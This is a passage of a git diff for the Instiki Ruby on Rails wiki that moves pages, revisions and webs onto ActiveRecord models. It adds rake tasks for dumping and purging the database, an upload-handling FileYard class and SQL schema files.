            +task :db_structure_dump => :environment do
            +  abcs = ActiveRecord::Base.configurations
            +  case abcs[RAILS_ENV]["adapter"] 
            +    when "mysql"
            +      ActiveRecord::Base.establish_connection(abcs[RAILS_ENV])
            +      File.open("db/#{RAILS_ENV}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
            +    when "postgresql"
            +      ENV['PGHOST']     = abcs[RAILS_ENV]["host"] if abcs[RAILS_ENV]["host"]
            +      ENV['PGPORT']     = abcs[RAILS_ENV]["port"].to_s if abcs[RAILS_ENV]["port"]
            +      ENV['PGPASSWORD'] = abcs[RAILS_ENV]["password"].to_s if abcs[RAILS_ENV]["password"]
            +      `pg_dump -U "#{abcs[RAILS_ENV]["username"]}" -s -x -O -f db/#{RAILS_ENV}_structure.sql #{abcs[RAILS_ENV]["database"]}`
            +    when "sqlite", "sqlite3"
            +      `#{abcs[RAILS_ENV]["adapter"]} #{abcs[RAILS_ENV]["dbfile"]} .schema > db/#{RAILS_ENV}_structure.sql`
            +    when "sqlserver"
            +      `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /f db\\#{RAILS_ENV}_structure.sql /q /A /r`
            +      `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /F db\ /q /A /r`
            +    else 
            +      raise "Unknown database adapter '#{abcs["test"]["adapter"]}'"
            +  end
            +end
            +
            +desc "Empty the test database"
            +task :purge_test_database => :environment do
            +  abcs = ActiveRecord::Base.configurations
            +  case abcs["test"]["adapter"]
            +    when "mysql"
            +      ActiveRecord::Base.establish_connection(:test)
            +      ActiveRecord::Base.connection.recreate_database(abcs["test"]["database"])
            +    when "postgresql"
            +      ENV['PGHOST']     = abcs["test"]["host"] if abcs["test"]["host"]
            +      ENV['PGPORT']     = abcs["test"]["port"].to_s if abcs["test"]["port"]
            +      ENV['PGPASSWORD'] = abcs["test"]["password"].to_s if abcs["test"]["password"]
            +      `dropdb -U "#{abcs["test"]["username"]}" #{abcs["test"]["database"]}`
            +      `createdb -T template0 -U "#{abcs["test"]["username"]}" #{abcs["test"]["database"]}`
            +    when "sqlite","sqlite3"
            +      File.delete(abcs["test"]["dbfile"]) if File.exist?(abcs["test"]["dbfile"])
            +    when "sqlserver"
            +      dropfkscript = "#{abcs["test"]["host"]}.#{abcs["test"]["database"]}.DP1".gsub(/\\/,'-')
            +      `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{dropfkscript}`
            +      `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
            +    else 
            +      raise "Unknown database adapter '#{abcs["test"]["adapter"]}'"
            +  end
            +end
            +
            +desc "Clears all *.log files in log/"
            +task :clear_logs => :environment do
            +  FileList["log/*.log"].each do |log_file|
            +    f = File.open(log_file, "w")
            +    f.close
            +  end
            +end
            +
            +desc "Migrate the database according to the migrate scripts in db/migrate (only supported on PG/MySQL). A specific version can be targetted with VERSION=x"
            +task :migrate => :environment do
            +  ActiveRecord::Migrator.migrate(File.dirname(__FILE__) + '/db/migrate/', ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
            +end
            \ No newline at end of file
            diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb
            index 6bca0f15..a52b2005 100644
            --- a/app/controllers/admin_controller.rb
            +++ b/app/controllers/admin_controller.rb
            @@ -46,7 +46,6 @@ class AdminController < ApplicationController
               end
             
               def edit_web
            -
                 system_password = @params['system_password']
                 if system_password
                   # form submitted
            @@ -67,6 +66,7 @@ class AdminController < ApplicationController
                       flash[:info] = "Web '#{@params['address']}' was successfully updated"
                       redirect_home(@params['address'])
                     rescue Instiki::ValidationError => e
            +          logger.warn e.message
                       @error = e.message
                       # and re-render the same template again
                     end
            diff --git a/app/controllers/application.rb b/app/controllers/application.rb
            index 1e2af4e6..7f608e49 100644
            --- a/app/controllers/application.rb
            +++ b/app/controllers/application.rb
            @@ -10,12 +10,12 @@ class ApplicationController < ActionController::Base
                 # a global variable is used here because Rails reloads controller and model classes in the 
                 # development environment; therefore, storing it as a class variable does not work
                 # class variable is, anyway, not much different from a global variable
            -    $instiki_wiki_service = the_wiki
            +    #$instiki_wiki_service = the_wiki
                 logger.debug("Wiki service: #{the_wiki.to_s}")
               end
             
               def self.wiki
            -    $instiki_wiki_service
            +    Wiki.new
               end
             
               protected
            @@ -146,7 +146,7 @@ class ApplicationController < ActionController::Base
               end
             
               def wiki
            -    $instiki_wiki_service
            +    self.class.wiki
               end
             
               def needs_authorization?(action)
            diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb
            index bf0ee964..e67ee3a2 100644
            --- a/app/controllers/file_controller.rb
            +++ b/app/controllers/file_controller.rb
            @@ -78,7 +78,7 @@ class FileController < ApplicationController
                   return false
                 end
             
            -    unless @web.allow_uploads
            +    unless @web.allow_uploads?
                   render_text 'File uploads are blocked by the webmaster', '403 Forbidden'
                   return false
                 end
            diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb
            index 43d55b2e..c274e209 100644
            --- a/app/controllers/wiki_controller.rb
            +++ b/app/controllers/wiki_controller.rb
            @@ -1,4 +1,3 @@
            -require 'application'
             require 'fileutils'
             require 'redcloth_for_tex'
             require 'parsedate'
            @@ -156,7 +155,7 @@ class WikiController < ApplicationController
               end
             
               def published
            -    if @web.published
            +    if @web.published?
                   @page = wiki.read_page(@web_name, @page_name || 'HomePage') 
                 else 
                   redirect_home
            @@ -270,7 +269,7 @@ class WikiController < ApplicationController
               end
             
               def export_web_to_tex(file_path)
            -    @tex_content = table_of_contents(@web.pages['HomePage'].content, render_tex_web)
            +    @tex_content = table_of_contents(@web.page('HomePage').content, render_tex_web)
                 File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) }
               end
             
            @@ -342,7 +341,7 @@ class WikiController < ApplicationController
               end
               
               def rss_with_content_allowed?
            -    @web.password.nil? or @web.published
            +    @web.password.nil? or @web.published?
               end
               
               def truncate(text, length = 30, truncate_string = '...')
            diff --git a/app/models/page.rb b/app/models/page.rb
            index 5f85c8ab..6baa5802 100644
            --- a/app/models/page.rb
            +++ b/app/models/page.rb
            @@ -1,4 +1,125 @@
             class Page < ActiveRecord::Base
               belongs_to :web
            -  has_many :pages
            -end
            \ No newline at end of file
            +  has_many :revisions, :order => 'number'
            +  has_one :current_revision, :class_name => 'Revision', :order => 'number DESC'
            +    
            +  def revise(content, created_at, author)
            +    revisions_size = new_record? ? 0 : revisions.size
            +    if (revisions_size > 0) and content == current_revision.content
            +      raise Instiki::ValidationError.new(
            +          "You have tried to save page '#{name}' without changing its content")
            +    end
            +    
            +    author = Author.new(author.to_s) unless author.is_a?(Author)
            +
            +    # Try to render content to make sure that markup engine can take it,
            +    # before addin a revision to the page
            +    Revision.new(:page => self, :content => content, :created_at => created_at, :author => author).force_rendering
            +
            +    # A user may change a page, look at it and make some more changes - several times.
            +    # Not to record every such iteration as a new revision, if the previous revision was done 
            +    # by the same author, not more than 30 minutes ago, then update the last revision instead of
            +    # creating a new one
            +    if (revisions_size > 0) && continous_revision?(created_at, author)
            +      current_revision.update_attributes(:created_at => created_at, :content => content)
            +    else
            +      Revision.create(:page => self, :content => content, :created_at => created_at, :author => author)
            +    end
            +    
            +    self.created_at = created_at
            +    save
            +    web.refresh_pages_with_references(name) if revisions_size == 0
            +    
            +    self
            +  end
            +
            +  def rollback(revision_number, created_at, author_ip = nil)
            +    roll_back_revision = Revision.find(:first, :conditions => ['page_id = ? AND number = ?', id, revision_number])
            +    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
            +  end
            +  
            +  def revisions?
            +    revisions.size > 1
            +  end
            +
            +  def revised_on
            +    created_on
            +  end
            +
            +  def in_category?(cat)
            +    cat.nil? || cat.empty? || categories.include?(cat)
            +  end
            +
            +  def categories
            +    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
            +  end
            +
            +  def authors
            +    revisions.collect { |rev| rev.author }
            +  end
            +
            +  def references
            +    web.select.pages_that_reference(name)
            +  end
            +
            +  def linked_from
            +    web.select.pages_that_link_to(name)
            +  end
            +
            +  def included_from
            +    web.select.pages_that_include(name)
            +  end
            +
            +  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
            +  def plain_name
            +    web.brackets_only? ? name : WikiWords.separate(name)
            +  end
            +
            +  # used to build chunk ids. 
            +  #def id
            +  #  @id ||= name.unpack('H*').first
            +  #end
            +
            +  def link(options = {})
            +    web.make_link(name, nil, options)
            +  end
            +
            +  def author_link(options = {})
            +    web.make_link(author, nil, options)
            +  end
            +
            +  LOCKING_PERIOD = 30.minutes
            +
            +  def lock(time, locked_by)
            +    update_attributes(:locked_at => time, :locked_by => locked_by)
            +  end
            +  
            +  def lock_duration(time)
            +    ((time - locked_at) / 60).to_i unless locked_at.nil?
            +  end
            +  
            +  def unlock
            +    update_attribute(:locked_at, nil)
            +  end
            +  
            +  def locked?(comparison_time)
            +    locked_at + LOCKING_PERIOD > comparison_time unless locked_at.nil?
            +  end
            +
            +  private
            +
            +    def continous_revision?(created_at, author)
            +      current_revision.author == author && current_revision.created_at + 30.minutes > created_at
            +    end
            +
            +    # Forward method calls to the current revision, so the page responds to all revision calls
            +    def method_missing(method_id, *args, &block)
            +      method_name = method_id.to_s
            +      # Perform a hand-off to AR::Base#method_missing
            +      if @attributes.include?(method_name) or md = /(=|\?|_before_type_cast)$/.match(method_name)
            +        super(method_id, *args, &block)
            +      else
            +        current_revision.send(method_id)
            +      end
            +    end
            +end
            diff --git a/app/models/revision.rb b/app/models/revision.rb
            index 017b3543..ca886245 100644
            --- a/app/models/revision.rb
            +++ b/app/models/revision.rb
            @@ -1,3 +1,122 @@
            +require 'diff'
             class Revision < ActiveRecord::Base
               belongs_to :page
            -end
            \ No newline at end of file
            +  composed_of :author, :mapping => [ %w(author name), %w(ip ip) ]
            +
            +  def created_on
            +    created_at.to_date
            +  end
            +
            +  def pretty_created_at
            +    # Must use DateTime because Time doesn't support %e on at least some platforms
            +    DateTime.new(
            +      created_at.year, created_at.mon, created_at.day, created_at.hour, created_at.min
            +    ).strftime "%B %e, %Y %H:%M" 
            +  end
            +
            +  # todo: drop next_revision, previuous_revision and number from here - unused code
            +  def next_revision
            +    Revision.find_by_number_and_page_id(number+1, page_id)
            +  end
            +
            +  def previous_revision
            +    @previous_revions ||= number > 0 ? Revision.find_by_number_and_page_id(number-1, page_id) : nil
            +  end
            +
            +  # Returns an array of all the WikiIncludes present in the content of this revision.
            +  def wiki_includes
            +    unless @wiki_includes_cache 
            +      chunks = display_content.find_chunks(Include)
            +      @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
            +    end
            +    @wiki_includes_cache
            +  end  
            +
            +  # Returns an array of all the WikiReferences present in the content of this revision.
            +  def wiki_references
            +    unless @wiki_references_cache 
            +      chunks = display_content.find_chunks(WikiChunk::WikiReference)
            +      @wiki_references_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
            +    end
            +    @wiki_references_cache
            +  end  
            +
            +  # Returns an array of all the WikiWords present in the content of this revision.
            +  def wiki_words
            +    unless @wiki_words_cache
            +      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
            +      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
            +    end
            +    @wiki_words_cache
            +  end
            +
            +  # Returns an array of all the WikiWords present in the content of this revision.
            +  # that already exists as a page in the web.
            +  def existing_pages
            +    wiki_words.select { |wiki_word| page.web.page(wiki_word) }
            +  end
            +
            +  # Returns an array of all the WikiWords present in the content of this revision
            +  # that *doesn't* already exists as a page in the web.
            +  def unexisting_pages
            +    wiki_words - existing_pages
            +  end  
            +
            +  # Explicit check for new type of display cache with chunks_by_type method.
            +  # Ensures new version works with older snapshots.
            +  def display_content
            +    unless @display_cache && @display_cache.respond_to?(:chunks_by_type)
            +      @display_cache = WikiContent.new(self)
            +      @display_cache.render!
            +    end
            +    @display_cache
            +  end
            +
            +  def display_diff
            +    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
            +  end
            +
            +  def clear_display_cache
            +    @wiki_words_cache = @published_cache = @display_cache = @wiki_includes_cache = 
            +      @wiki_references_cache = nil
            +  end
            +
            +  def display_published
            +    unless @published_cache && @published_cache.respond_to?(:chunks_by_type)
            +      @published_cache = WikiContent.new(self, {:mode => :publish})
            +      @published_cache.render!
            +    end
            +    @published_cache
            +  end
            +
            +  def display_content_for_export
            +    WikiContent.new(self, {:mode => :export} ).render!
            +  end
            +  
            +  def force_rendering
            +    begin
            +      display_content.render!
            +    rescue => e
            +      logger.error "Failed rendering page #{@name}"
            +      logger.error e
            +      message = e.message
            +      # substitute content with an error message
            +      self.content = <<-EOL
            +          

            Markup engine has failed to render this page, raising the following error:

            +

            #{message}

            +
            #{self.content}
            + EOL + clear_display_cache + raise e + end + end + + protected + before_create :set_revision_number + after_create :force_rendering + after_save :clear_display_cache + + def set_revision_number + self.number = self.class.count(['page_id = ?', page_id]) + 1 + end +end diff --git a/app/models/system.rb b/app/models/system.rb new file mode 100644 index 00000000..7ac1ad08 --- /dev/null +++ b/app/models/system.rb @@ -0,0 +1,4 @@ +class System < ActiveRecord::Base + set_table_name 'system' + validates_presence_of :password +end \ No newline at end of file diff --git a/app/models/web.rb b/app/models/web.rb index 2c31bf8f..5ca077d5 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -1,3 +1,173 @@ +require 'cgi' + class Web < ActiveRecord::Base - has_many :pages -end \ No newline at end of file + has_many :pages#, :include => [:current_revision, :web] + + def wiki + Wiki.new + end + + def file_yard + @file_yard ||= FileYard.new("#{Wiki.storage_path}/#{address}", max_upload_size) + end + + def settings_changed?(markup, safe_mode, brackets_only) + self.markup != markup || + self.safe_mode != safe_mode || + self.brackets_only != brackets_only + end + + def add_page(name, content, created_at, author) + page = page(name) || Page.new(:web => self, :name => name) + page.revise(content, created_at, author) + end + + def authors + select.authors + end + + def categories + select.map { |page| page.categories }.flatten.uniq.sort + end + + def page(name) + pages.find(:first, :conditions => ['name = ?', name]) + end + + def has_page?(name) + Page.count(['web_id = ? AND name = ?', id, name]) > 0 + end + + def has_file?(name) + wiki.file_yard(self).has_file?(name) + end + + def markup + read_attribute('markup').to_sym + end + + def make_file_link(mode, name, text, base_url) + link = CGI.escape(name) + case mode + when :export + if has_file?(name) then "#{text}" + else "#{text}" end + when :publish + if has_file?(name) then "#{text}" + else "#{text}" end + else + if has_file?(name) + "#{text}" + else + "#{text}?" + end + end + end + + # Create a link for the given page name and link text based + # on the render mode in options and whether the page exists + # in the this web. + # The links a relative, and will work only if displayed on another WikiPage. + # It should not be used in menus, templates and such - instead, use link_to_page helper + def make_link(name, text = nil, options = {}) + text = CGI.escapeHTML(text || WikiWords.separate(name)) + mode = options[:mode] || :show + base_url = options[:base_url] || '..' + link_type = options[:link_type] || :show + case link_type.to_sym + when :show + make_page_link(mode, name, text, base_url) + when :file + make_file_link(mode, name, text, base_url) + when :pic + make_pic_link(mode, name, text, base_url) + else + raise "Unknown link type: #{link_type}" + end + end + + def make_page_link(mode, name, text, base_url) + link = CGI.escape(name) + case mode.to_sym + when :export + if has_page?(name) then %{#{text}} + else %{#{text}} end + when :publish + if has_page?(name) then %{#{text}} + else %{#{text}} end + else + if has_page?(name) + %{#{text}} + else + %{#{text}?} + end + end + end + + def make_pic_link(mode, name, text, base_url) + link = CGI.escape(name) + case mode.to_sym + when :export + if has_file?(name) then %{#{text}} + else %{#{text}} end + when :publish + if has_file?(name) then %{#{text}} + else %{#{text}} end + else + if has_file?(name) then %{#{text}} + else %{#{text}?} end + end + end + + # Clears the display cache for all the pages with references to + def refresh_pages_with_references(page_name) + #select.pages_that_reference(page_name).each { |page| + # page.revisions.each { |revision| revision.clear_display_cache } + #} + end + + def refresh_revisions + select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } } + end + + def remove_pages(pages_to_be_removed) + pages_to_be_removed.each { |p| p.destroy } + end + + def revised_on + select.most_recent_revision + end + + def select(&condition) + PageSet.new(self, pages, condition) + end + + private + + # Returns an array of all the wiki words in any current revision + def wiki_words + pages.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq + end + + # Returns an array of all the page names on this web + def page_names + pages.map { |p| p.name } + end + + protected + before_save :sanitize_markup + before_validation :validate_address + validates_uniqueness_of :address + validates_length_of :color, :in => 3..6 + + def sanitize_markup + self.markup = markup.to_s + end + + def validate_address + unless address == CGI.escape(address) + self.errors.add(:address, 'should contain only valid URI characters') + raise Instiki::ValidationError.new("#{self.class.human_attribute_name('address')} #{errors.on(:address)}") + end + end +end diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index 34a93798..d891f5a2 100644 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -17,7 +17,7 @@ <% end %>
      -<% if @web.count_pages %> +<% if @web.count_pages? %> <% total_chars = @pages_in_category.characters %>

      All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

      <% end %> diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 8e9bc474..28763b78 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -25,7 +25,7 @@ <%= @page.revisions? ? "Revised" : "Created" %> on <%= @page.pretty_created_at %> by <%= @page.author_link %> <%= "(#{@page.author.ip})" if @page.author.respond_to?(:ip) %> - <% if @web.count_pages %> + <% if @web.count_pages? %> <% total_chars = @page.content.length %> (<%= total_chars %> characters / <%= sprintf("%-.1f", (total_chars / 2275 rescue 0)) %> pages) <% end %> diff --git a/config/database.yml b/config/database.yml index 1233b7e3..3dd03157 100644 --- a/config/database.yml +++ b/config/database.yml @@ -1,30 +1,65 @@ -# SQLite is enabled by default. Remember to change the dbfile path. production: adapter: sqlite3 - dbfile: /tmp/instiki_prod.db - -# Uncomment this section for MySQL: -# production: -# adapter: mysql -# host: localhost -# database: instiki -# username: instiki -# password: pass - -# Uncomment this section for PostgreSQL: -# production: -# adapter: postgresql -# host: localhost -# database: instiki -# username: instiki -# password: pass - -# The following settings are only used for testing and development. + dbfile: db/prod.db development: adapter: sqlite3 - dbfile: /tmp/instiki_dev.db - + dbfile: db/dev.db test: adapter: sqlite3 - dbfile: /tmp/instiki_test.db + dbfile: db/test.db + +# Sample Sqlite 2 Config +#production: +# adapter: sqlite +# dbfile: db/prod.db +#development: +# adapter: sqlite +# dbfile: db/dev.db +#test: +# adapter: sqlite +# dbfile: db/test.db + +# Sample Postgresql Config +#production: +# adapter: postgresql +# host: localhost +# database: instiki_prod +# username: user +# password: pass +# +#development: +# adapter: postgresql +# host: localhost +# database: instiki_dev +# username: user +# password: pass +# +#test: +# adapter: postgresql +# host: localhost +# database: instiki_test +# username: user +# password: pass + +# Sample MySQL Config +#production: +# adapter: mysql +# host: localhost +# database: instiki_prod +# username: user +# password: pass +# +#development: +# adapter: mysql +# host: localhost +# database: instiki_dev +# username: user +# password: pass +# +#test: +# adapter: mysql +# host: localhost +# database: instiki_test +# username: user +# password: pass diff --git a/config/environment.rb b/config/environment.rb index 589025c8..509f4ac0 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -60,6 +60,8 @@ require 'rubygems' unless File.directory?("#{RAILS_ROOT}/vendor/rails") require 'active_support' require 'active_record' require 'action_controller' +require 'action_mailer' +require 'action_web_service' # Environment-specific configuration. require_dependency "environments/#{RAILS_ENV}" diff --git a/config/environments/development.rb b/config/environments/development.rb index 61ce9fec..3f0868e6 100644 --- a/config/environments/development.rb +++ b/config/environments/development.rb @@ -2,4 +2,3 @@ Dependencies.mechanism = :require ActionController::Base.consider_all_requests_local = true ActionController::Base.perform_caching = false BREAKPOINT_SERVER_PORT = 42531 -$instiki_debug_logging = true diff --git a/config/environments/test.rb b/config/environments/test.rb index fac509a1..a5813f5d 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -1,15 +1,4 @@ Dependencies.mechanism = :require ActionController::Base.consider_all_requests_local = true ActionController::Base.perform_caching = false - -require 'fileutils' -FileUtils.mkdir_p(RAILS_ROOT + "/log") - -unless defined? TEST_LOGGER - timestamp = Time.now.strftime('%Y%m%d%H%M%S') - log_name = RAILS_ROOT + "/log/instiki_test.#{timestamp}.log" - $stderr.puts "To see the Rails log:\n less #{log_name}" - - TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) - $instiki_debug_logging = true -end +FileYard.restrict_upload_access = false \ No newline at end of file diff --git a/db/development_structure.sql b/db/development_structure.sql new file mode 100644 index 00000000..61d49c31 --- /dev/null +++ b/db/development_structure.sql @@ -0,0 +1,40 @@ +CREATE TABLE pages ( + id INTEGER PRIMARY KEY, + created_at DATETIME NOT NULL, + updated_at DATETIME NOT NULL, + web_id INTEGER NOT NULL, + locked_by VARCHAR(60), + name VARCHAR(60), + locked_at DATETIME +); +CREATE TABLE revisions ( + id INTEGER PRIMARY KEY, + created_at DATETIME NOT NULL, + updated_at DATETIME NOT NULL, + page_id INTEGER NOT NULL, + content TEXT NOT NULL, + author VARCHAR(60), + ip VARCHAR(60), + number INTEGER +); +CREATE TABLE system ( + id INTEGER PRIMARY KEY, + 'password' VARCHAR(60) +); +CREATE TABLE webs ( + id INTEGER PRIMARY KEY, + created_at DATETIME NOT NULL, + updated_at DATETIME NOT NULL, + name VARCHAR(60) NOT NULL, + address VARCHAR(60) NOT NULL, + 'password' VARCHAR(60), + additional_style VARCHAR(255), + allow_uploads INTEGER DEFAULT '1', + published INTEGER DEFAULT '0', + count_pages INTEGER DEFAULT '0', + markup VARCHAR(50) DEFAULT 'textile', + color VARCHAR(6) DEFAULT '008B26', + max_upload_size INTEGER DEFAULT 100, + safe_mode INTEGER DEFAULT '0', + brackets_only INTEGER DEFAULT '0' +); diff --git a/db/pages.erbsql b/db/pages.erbsql index afc57484..5c2dd6d5 100644 --- a/db/pages.erbsql +++ b/db/pages.erbsql @@ -2,5 +2,8 @@ CREATE TABLE pages ( id <%= @pk %>, created_at <%= @datetime %> NOT NULL, updated_at <%= @datetime %> NOT NULL, - web_id INTEGER NOT NULL -) <%= create_options %>; + web_id INTEGER NOT NULL, + locked_by VARCHAR(60), + name VARCHAR(60), + locked_at <%= @datetime %> +) <%= create_options %>; \ No newline at end of file diff --git a/db/revisions.erbsql b/db/revisions.erbsql index 1639cf2e..28034555 100644 --- a/db/revisions.erbsql +++ b/db/revisions.erbsql @@ -1,7 +1,10 @@ CREATE TABLE revisions ( - id <%= @pk %>, - created_at <%= @datetime %> NOT NULL, - updated_at <%= @datetime %> NOT NULL, - page_id INTEGER NOT NULL, - content TEXT NOT NULL -) <%= create_options %>; + id <%= @pk %>, + created_at <%= @datetime %> NOT NULL, + updated_at <%= @datetime %> NOT NULL, + page_id INTEGER NOT NULL, + content TEXT NOT NULL, + author VARCHAR(60), + ip VARCHAR(60), + number INTEGER +) <%= create_options %>; \ No newline at end of file diff --git a/db/schema.postgre.sql b/db/schema.postgre.sql new file mode 100644 index 00000000..5191d9e4 --- /dev/null +++ b/db/schema.postgre.sql @@ -0,0 +1,43 @@ +CREATE TABLE pages ( + id serial primary key, + created_at timestamp without time zone NOT NULL, + updated_at timestamp without time zone NOT NULL, + web_id integer NOT NULL, + locked_by character varying(60), + name character varying(60), + locked_at timestamp without time zone +); + +CREATE TABLE revisions ( + id serial primary key, + created_at timestamp without time zone NOT NULL, + updated_at timestamp without time zone NOT NULL, + page_id integer NOT NULL, + content text NOT NULL, + author character varying(60), + ip character varying(60), + number integer +); + +CREATE TABLE system ( + id serial primary key, + "password" character varying(60) +); + +CREATE TABLE webs ( + id serial primary key, + created_at timestamp without time zone NOT NULL, + updated_at timestamp without time zone NOT NULL, + name character varying(60) NOT NULL, + address character varying(60) NOT NULL, + "password" character varying(60), + additional_style character varying(255), + allow_uploads boolean DEFAULT true, + published boolean DEFAULT false, + count_pages boolean DEFAULT false, + markup character varying(50) DEFAULT 'textile'::character varying, + color character varying(6) DEFAULT '008B26'::character varying, + max_upload_size integer DEFAULT 100, + safe_mode boolean DEFAULT false, + brackets_only boolean DEFAULT false +); diff --git a/db/system.erbsql b/db/system.erbsql new file mode 100644 index 00000000..e0a55a33 --- /dev/null +++ b/db/system.erbsql @@ -0,0 +1,4 @@ +CREATE TABLE system ( + id <%= @pk %>, + <%= db_quote('password') %> VARCHAR(60) +) <%= create_options %>; \ No newline at end of file diff --git a/db/webs.erbsql b/db/webs.erbsql index bbb9758c..c29728cd 100644 --- a/db/webs.erbsql +++ b/db/webs.erbsql @@ -3,5 +3,15 @@ CREATE TABLE webs ( created_at <%= @datetime %> NOT NULL, updated_at <%= @datetime %> NOT NULL, name VARCHAR(60) NOT NULL, - address VARCHAR(60) NOT NULL -) <%= create_options %>; + address VARCHAR(60) NOT NULL, + <%= db_quote('password') %> VARCHAR(60), + additional_style VARCHAR(255), + allow_uploads <%= @boolean %> DEFAULT '1', + published <%= @boolean %> DEFAULT '0', + count_pages <%= @boolean %> DEFAULT '0', + markup VARCHAR(50) DEFAULT 'textile', + color VARCHAR(6) DEFAULT '008B26', + max_upload_size INTEGER DEFAULT 100, + safe_mode <%= @boolean %> DEFAULT '0', + brackets_only <%= @boolean %> DEFAULT '0' +) <%= create_options %>; \ No newline at end of file diff --git a/lib/author.rb b/lib/author.rb new file mode 100644 index 00000000..be8a5cf7 --- /dev/null +++ b/lib/author.rb @@ -0,0 +1,18 @@ +class Author < String + attr_accessor :ip + attr_reader :name + def initialize(name, ip = nil) + @ip = ip + super(name) + end + + def name=(value) + self.gsub!(/.+/, value) + end + + alias_method :name, :to_s + + def <=>(other) + name <=> other.to_s + end +end \ No newline at end of file diff --git a/lib/chunks/test.rb b/lib/chunks/test.rb index edf77d14..73af8142 100644 --- a/lib/chunks/test.rb +++ b/lib/chunks/test.rb @@ -4,7 +4,7 @@ class ChunkTest < Test::Unit::TestCase # Asserts a number of tests for the given type and text. def match(type, test_text, expected) - pattern = type.pattern + pattern = type.pattern assert_match(pattern, test_text) pattern =~ test_text # Previous assertion guarantees match chunk = type.new($~) diff --git a/lib/db_structure.rb b/lib/db_structure.rb index c7b58c33..09c212da 100644 --- a/lib/db_structure.rb +++ b/lib/db_structure.rb @@ -6,6 +6,17 @@ def create_options end end +def db_quote(column) + case @db + when 'postgresql' + return "\"#{column}\"" + when 'sqlite', 'sqlite3' + return "'#{column}'" + when 'mysql' + return "`#{column}`" + end +end + def db_structure(db) db.downcase! @db = db @@ -13,12 +24,15 @@ def db_structure(db) when 'postgresql' @pk = 'SERIAL PRIMARY KEY' @datetime = 'TIMESTAMP' + @boolean = "BOOLEAN" when 'sqlite', 'sqlite3' @pk = 'INTEGER PRIMARY KEY' @datetime = 'DATETIME' + @boolean = "INTEGER" when 'mysql' @pk = 'INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY' @datetime = 'DATETIME' + @boolean = "TINYINT" @mysql_engine = 'InnoDB' else raise "Unknown db type #{db}" diff --git a/lib/file_yard.rb b/lib/file_yard.rb new file mode 100644 index 00000000..f9402c17 --- /dev/null +++ b/lib/file_yard.rb @@ -0,0 +1,59 @@ +require 'fileutils' +require 'instiki_errors' + +class FileYard + cattr_accessor :restrict_upload_access + restrict_upload_access = true + attr_reader :files_path + + def initialize(files_path, max_upload_size) + @files_path, @max_upload_size = files_path, max_upload_size + FileUtils.mkdir_p(@files_path) unless File.exist?(@files_path) + @files = Dir["#{@files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact + end + + def upload_file(name, io) + sanitize_file_name(name) + if io.kind_of?(Tempfile) + io.close + check_upload_size(io.size) + File.chmod(600, file_path(name)) if File.exists? file_path(name) + FileUtils.mv(io.path, file_path(name)) + else + content = io.read + check_upload_size(content.length) + File.open(file_path(name), 'wb') { |f| f.write(content) } + end + # just in case, restrict read access and prohibit write access to the uploaded file + FileUtils.chmod(0440, file_path(name)) if restrict_upload_access + end + + def files + Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact + end + + def has_file?(name) + files.include?(name) + end + + def file_path(name) + "#{files_path}/#{name}" + end + + SANE_FILE_NAME = /[a-zA-Z0-9\-_\. ]{1,255}/ + + def sanitize_file_name(name) + unless name =~ SANE_FILE_NAME or name == '.' or name == '..' + raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" + + "Only latin characters, digits, dots, underscores, dashes and spaces are accepted.") + end + end + + def check_upload_size(actual_upload_size) + if actual_upload_size > @max_upload_size.kilobytes + raise Instiki::ValidationError.new("Uploaded file size (#{actual_upload_size / 1024} " + + "kbytes) exceeds the maximum (#{@max_upload_size} kbytes) set for this wiki") + end + end + +end diff --git a/lib/page_set.rb b/lib/page_set.rb new file mode 100644 index 00000000..c50abe80 --- /dev/null +++ b/lib/page_set.rb @@ -0,0 +1,89 @@ +# Container for a set of pages with methods for manipulation. + +class PageSet < Array + attr_reader :web + + def initialize(web, pages = nil, condition = nil) + @web = web + # if pages is not specified, make a list of all pages in the web + if pages.nil? + super(web.pages) + # otherwise use specified pages and condition to produce a set of pages + elsif condition.nil? + super(pages) + else + super(pages.select { |page| condition[page] }) + end + end + + def most_recent_revision + self.map { |page| page.created_at }.max || Time.at(0) + end + + + def by_name + PageSet.new(@web, sort_by { |page| page.name }) + end + + alias :sort :by_name + + def by_revision + PageSet.new(@web, sort_by { |page| page.created_at }).reverse + end + + def pages_that_reference(page_name) + self.select { |page| page.wiki_references.include?(page_name) } + end + + def pages_that_link_to(page_name) + self.select { |page| 